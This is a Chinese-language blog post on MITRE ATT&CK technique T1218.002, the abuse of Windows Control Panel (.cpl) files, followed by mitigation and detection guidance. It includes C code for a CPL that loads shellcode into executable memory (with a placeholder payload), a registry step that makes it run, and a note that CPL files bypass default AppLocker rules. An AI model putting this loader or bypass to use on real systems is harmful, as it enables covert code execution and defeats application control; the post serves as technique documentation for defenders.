T1218.002 Control Panel滥用

2021-09-28 15:50:39 浏览数 (1)

cpl文件

CPL文件,是Windows控制面板扩展项,CPL全拼为Control Panel Item在system32目录下有一系列的cpl文件,分别对应着各种控制面板的子选项

例如:

inetcpl.cpl,IE设置

joy.cpl,游戏控制器设置

mmsys.cpl,声音与音频设置

intl.cpl,区域与语言设置

ncpa.cpl,网络连接

netsetup.cpl,网络安装向导

nusrmgr.cpl,用户帐户

odbccp32.cpl,ODBC数据源管理器

wscui.cpl,Windows安全中心

wuaucpl.cpl,自动更新配置

igfxcpl.cpl,Intel集成显卡设置

nvcpl.cpl,nVidia显卡设置(NVIDIA控制面板)

access.cpl,辅助功能选项

appwiz.cpl,添加或删除程序

desk.cpl,显示属性

firewall.cpl,防火墙设置

hdwwiz.cpl,添加硬件向导

sysdm.cpl 我的电脑右键属性

cpl文件本质是属于PE文件

但cpl并不像exe,更像是dll,无法直接打开,只能以加载的形式运行。并且有一个导出函数CPlApplet该函数是控制面板应用程序的入口点,它被控制面板管理程序自动调用,且是个回调函数。

如何打开cpl

1.双击或者win r xxx.cpl 2.control <文件名> 3.rundll32 shell32.dll,Control_RunDLL <文件名>

注意:

所有rundll32 shell32.dll,Control_RunDLL的命令均可用control替代,control.exe实质调用了rundll32.exe。打开后找不到control.exe进程,只能找到rundll32.exe。

4.vbs脚本

代码语言:javascript复制
Dim obj Set obj = CreateObject("Shell.Application") obj.ControlPanelItem("C:Users11793Desktopcpl.cpl")

5.js脚本

代码语言:javascript复制
var a = new ActiveXObject("Shell.Application"); a.ControlPanelItem("C:\Users\11793\Desktop\cpl.cpl");

创建一个CPL文件

最简单的方式:直接创建一个dll,无需导出函数,然后改后缀名

代码语言:javascript复制
BOOL APIENTRY DllMain( HMODULE hModule,                        
                                         DWORD  ul_reason_for_call,                        
                                         LPVOID lpReserved                      )
{    
        switch (ul_reason_for_call)    
             {    
                       case DLL_PROCESS_ATTACH:        
                       WinExec("Calc.exe", SW_SHOW);    
                       case DLL_THREAD_ATTACH:    
                       case DLL_THREAD_DETACH:    
                       case DLL_PROCESS_DETACH:        
                                break;     }    
                                return TRUE; 
}

同样我们也可以加载CS的shellcode

代码语言:javascript复制
#include "pch.h"
#include "windows.h"


extern "C" __declspec(dllexport) VOID CPlApplet(HWND hwndCPl, UINT msg, LPARAM lParam1, LPARAM lParam2)
{    
              MessageBoxA(0, NULL, "test", MB_OK);    
              /* length: 835 bytes */    
              unsigned char buf[] = "shellcode";  
              LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);    
               memcpy(Memory, buf, sizeof(buf));    
               ((void(*)())Memory)();
}
BOOL APIENTRY DllMain( HMODULE hModule,
                                         DWORD  ul_reason_for_call,
                                         LPVOID lpReserved                    
                                   )
{    
            switch (ul_reason_for_call)
           {
           case DLL_PROCESS_ATTACH:
           case DLL_THREAD_ATTACH:
           case DLL_THREAD_DETACH:
           case DLL_PROCESS_DETACH:
                   break;
            }    
            return TRUE;
}

将其注册到HKCUSoftwareMicrosoftWindowsCurrentVersionControl PanelCpls

启动control.exe,就可以执行我们的cpl

bypass Windows AppLocker

AppLocker即“应用程序控制策略”,是Windows 7系统中新增加的一项安全功能。在win7以上的系统中默认都集成了该功能。

默认的Applocker规则集合,可以看到cpl并不在默认规则中:

缓解措施

M1038

执行预防 在适当的情况下,使用应用程序控制工具(如 Windows Defender 应用程序控制、AppLocker、或软件限制策略)识别和阻止潜在的恶意和未知 .cpl 文件。

M1022

限制文件和目录权限 将控制面板项目的存储和执行限制在受保护的目录中,例如C:Windows,而不是用户目录。

检测

涉及与CPL文件,如CONTROL.EXE和相关项目监测和分析活动Control_RunDLL,并ControlRunDLLAsUser在shell32.dll中的API函数。

当从命令行执行或单击时,control.exe 将control.exe file.cpl在Rundll32用于调用 CPL 的 API 函数(例如:)之前执行 CPL 文件(例如:)rundll32.exe shell32.dll,Control_RunDLL file.cpl。

CPL 文件可以通过 CPL API 函数直接执行,只需使用后面的Rundll32命令,这可能会绕过 control.exe 的检测和/或执行过滤器。

用于定位系统上存在的未注册和潜在恶意文件的库存控制面板项目:

  • 可执行格式注册控制面板项将具有全局唯一标识符(GUID)和在注册的注册表项HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerControlPanelNameSpace和HKEY_CLASSES_ROOTCLSID{{GUID}}。这些条目可能包含有关控制面板项目的信息,例如其显示名称、本地文件的路径以及在控制面板中打开时执行的命令。
  • 存储在 System32 目录中的 CPL 格式注册的控制面板项目会自动显示在控制面板中。其他控制面板项目将在CPLs和 的Extended Properties注册表项中有注册条目HKEY_LOCAL_MACHINE or HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionControl Panel。这些条目可能包括诸如 GUID、本地文件路径和用于以编程方式 ( WinExec("c:windowssystem32control.exe {{Canonical_Name}}", SW_NORMAL);) 或从命令行 ( control.exe /name {{Canonical_Name}})启动文件的规范名称等信息。
  • 某些控制面板项可通过注册的 Shell 扩展进行扩展,HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionControls Folder{{name}}ShellexPropertySheetHandlers其中 {{name}} 是系统项的预定义名称。

分析新的控制面板项目以及磁盘上存在的恶意内容。可执行文件和 CPL 格式都是兼容的可移植可执行文件 (PE) 图像,可以使用传统工具和方法进行检查,

0 人点赞